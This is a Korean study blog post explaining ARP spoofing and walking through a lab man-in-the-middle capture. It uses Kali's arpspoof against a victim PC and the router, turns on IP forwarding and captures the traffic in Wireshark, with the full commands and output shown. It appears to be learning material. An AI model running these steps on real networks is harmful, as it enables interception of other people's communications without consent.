[2025-11-06] 네트워크 해킹

🦥 본문

ARP 스푸핑

악성 ARP 패킷을 보내 기기의 ARP 테이블을 변조하는 공격.

원리

ARP의 특징

  • ARP request/reply는 암묵적으로 신뢰하여 인증이 없음
  • 클라이언트는 ARP request을 보내지 않아도 ARP reply를 받아들임

ARP request를 보내지 않은 기기가 가짜 MAC 주소가 담겨 있는 ARP reply를 받아 ARP 테이블을 공격

액티브 캡처 방법

단순히 통신을 가로채면 정상 통신을 유지할 수 없기 때문에 다음과 같이 실행

  • 동작 흐름
    1. 대상 기기를 대상으로 ARP 스푸핑을 하고 라우터에 도착해야 할 패킷을 공격 기기에 도착하게 함
    2. 라우터를 대상으로 ARP 스푸핑을 하고 대상 기기에 도착해야 할 패킷을 공격 기기에 도착하게 함
    3. 공격 기기는 대상 기기나 라우터로부터 도착한 패킷을 전달

image.png

image.png

arpspoof를 이용한 액티브 캡처

  • 실습 환경

    image.png

  1. 가상 네트워크 어댑터 설정

    칼리 종료 후 [설정] - [네트워크] - [어댑터 1]에서 다음과 같이 설정

    Attached to : [어댑터에 브리지]

    Promiscusous Mode : [모두 허용]

    • Promiscusous mode : 가상 머신의 가상 네트워크 인터페이스 카드가 자신에게 직접적으로 향하지 않는 네트워크 트래픽까지도 수신하여 처리할 수 있도록 설정
  2. 칼리 가상 머신 기동

     └─$ ifconfig
     eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
             inet 192.168.219.105  netmask 255.255.255.0  broadcast 192.168.219.255 << LAN 내의 IP 주소
        
     # 간혹 10.0.0.2로 되는 경우가 있는 데 그건 이전에 설정했던 설정 때문이다.
     ─$ sudo nano /etc/network/interfaces #에서 설정했던 것들을 주석처리하고 재시작하면 해결
        
    
    • 라우터와의 통신 확인

        # 라우터 IP 확인
        └─$ ip route 
        default via 192.168.219.1 dev eth0 proto dhcp src 192.168.219.105 metric 100 
        192.168.219.0/24 dev eth0 proto kernel scope link src 192.168.219.105 metric 100 
              
        # 라우터와의 통신 확인                                                                                         
        ┌──(kali㉿kali)-[~]
        └─$ ping -c 4 192.168.219.1
        PING 192.168.219.1 (192.168.219.1) 56(84) bytes of data.
        64 bytes from 192.168.219.1: icmp_seq=1 ttl=64 time=8.52 ms
        64 bytes from 192.168.219.1: icmp_seq=2 ttl=64 time=5.91 ms
        64 bytes from 192.168.219.1: icmp_seq=3 ttl=64 time=6.45 ms
        64 bytes from 192.168.219.1: icmp_seq=4 ttl=64 time=8.87 ms
              
        --- 192.168.219.1 ping statistics ---
        4 packets transmitted, 4 received, 0% packet loss, time 3012ms
        rtt min/avg/max/mdev = 5.914/7.439/8.873/1.276 ms
              
      
    • 인터넷과의 통신 확인

        └─$ ping -c 4 8.8.8.8      
        PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
        64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=45.5 ms
        64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=42.7 ms
        64 bytes from 8.8.8.8: icmp_seq=3 ttl=112 time=45.4 ms
        64 bytes from 8.8.8.8: icmp_seq=4 ttl=112 time=44.4 ms
              
        --- 8.8.8.8 ping statistics ---
        4 packets transmitted, 4 received, 0% packet loss, time 3016ms
        rtt min/avg/max/mdev = 42.739/44.512/45.468/1.102 ms
              
      
  3. 대상 단말의 ARP 테이블 확인

    대상 단말에서 라우터의 MAC 주소 확인

     C:\Users\hanse>arp -a
        
     인터페이스: 192.168.219.120 --- 0xf
       인터넷 주소           물리적 주소           유형
       192.168.219.1         80-ca-4b-99-86-45     동적 << 동적에서 확인
    
  4. 칼리에서 MAC 주소와 IP 주소 확인

     └─$ ip addr show eth0    
     2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
         link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
         inet 192.168.219.105/24 brd 192.168.219.255 scope global dynamic noprefixroute eth0
            valid_lft 20773sec preferred_lft 20773sec
         inet6 fe80::a6fe:8619:a294:9714/64 scope link noprefixroute 
            valid_lft forever preferred_lft forever
    
    • route 명령으로 게이트웨이 IP 주소 확인
     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
     default         192.168.219.1   0.0.0.0         UG    100    0        0 eth0
     192.168.219.0   0.0.0.0         255.255.255.0   U     100    0        0 eth0
    
  5. IP 포워딩 기능 활성화

     ┌──(root㉿kali)-[~] echo 1 > /proc/sys/net/ipv4/ip_forward
                                                                              
     ┌──(root㉿kali)-[~] cat /proc/sys/net/ipv4/ip_forward
     1
        
    
  6. 와이어샤크 캡처 시작
  7. 대상 단말에 가짜 정보 전송

     arpspoof -i 인터페이스 이름 -t 대상 단말의 ip 주소 변경하고 싶은 ip 주소
     ─# arpspoof -i eth0 -t 192.168.219.123 192.168.219.1
     8:0:27:1f:b7:23 4c:5f:70:4:82:74 0806 42: arp reply 192.168.219.1 is-at 8:0:27:1f:b7:23
     8:0:27:1f:b7:23 4c:5f:70:4:82:74 0806 42: arp reply 192.168.219.1 is-at 8:0:27:1f:b7:23 
    
  8. 대상 단말의 ARP 테이블 변경

     C:\Users\hanse>arp -a
        
     인터페이스: 192.168.219.123 --- 0x8
       인터넷 주소           물리적 주소           유형
       192.168.219.1         5c-b4-7e-bb-64-3a     동적
    

    와이어샤크에서 해당 패킷 확인. 가짜 정보가 담김

    image.png

    192.168.219.1의 MAC 주소를 KALI의 MAC 주소로 바꿈

  9. 라우터에 가짜 정보 전송

     └─# arpspoof -i eth0 -t 192.168.219.1 192.168.219.123
        
     8:0:27:1f:b7:23 80:ca:4b:99:86:45 0806 42: arp reply 192.168.219.123 is-at 8:0:27:1f:b7:23
        
    
  10. 인터넷 접속 시 와이어샤크에서 캡쳐 확인

    image.png

  11. 종료

    echo 0 > /proc/sys/net/ipv4/ip_forward
    

Categories:

Updated:

Leave a comment